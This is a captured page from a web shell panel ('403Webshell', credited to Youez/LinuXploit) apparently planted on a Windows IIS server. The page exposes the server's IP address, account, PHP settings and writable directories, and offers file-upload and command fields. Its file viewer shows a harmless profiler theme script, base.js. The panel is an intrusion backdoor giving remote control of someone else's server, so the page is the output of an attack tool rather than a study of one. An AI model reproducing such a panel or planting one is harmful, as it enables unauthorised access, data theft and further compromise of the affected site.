403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.18
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/profiling/sampling/_shared_assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/profiling/sampling/_shared_assets/base.js
// Tachyon Profiler - Shared JavaScript
// Common utilities shared between flamegraph and heatmap views

// ============================================================================
// Theme Support
// ============================================================================

// Storage key for theme preference
const THEME_STORAGE_KEY = 'tachyon-theme';

// Get the preferred theme from localStorage or system preference
function getPreferredTheme() {
  const saved = localStorage.getItem(THEME_STORAGE_KEY);
  if (saved) return saved;
  return window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light';
}

// Apply theme and update UI
function applyTheme(theme) {
  document.documentElement.setAttribute('data-theme', theme);
  const btn = document.getElementById('theme-btn');
  if (btn) {
    const moonIcon = btn.querySelector('.icon-moon');
    const sunIcon = btn.querySelector('.icon-sun');
    if (moonIcon) moonIcon.style.display = theme === 'dark' ? 'none' : '';
    if (sunIcon) sunIcon.style.display = theme === 'dark' ? '' : 'none';
  }
}

// Toggle theme and save preference. Returns the new theme.
function toggleAndSaveTheme() {
  const current = document.documentElement.getAttribute('data-theme') || 'light';
  const next = current === 'light' ? 'dark' : 'light';
  applyTheme(next);
  localStorage.setItem(THEME_STORAGE_KEY, next);
  return next;
}

// ============================================================================
// Toggle Switch UI
// ============================================================================

function updateToggleUI(toggleId, isOn) {
  const toggle = document.getElementById(toggleId);
  if (toggle) {
    const track = toggle.querySelector('.toggle-track');
    const labels = toggle.querySelectorAll('.toggle-label');
    if (isOn) {
      track.classList.add('on');
      labels[0].classList.remove('active');
      labels[1].classList.add('active');
    } else {
      track.classList.remove('on');
      labels[0].classList.add('active');
      labels[1].classList.remove('active');
    }
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit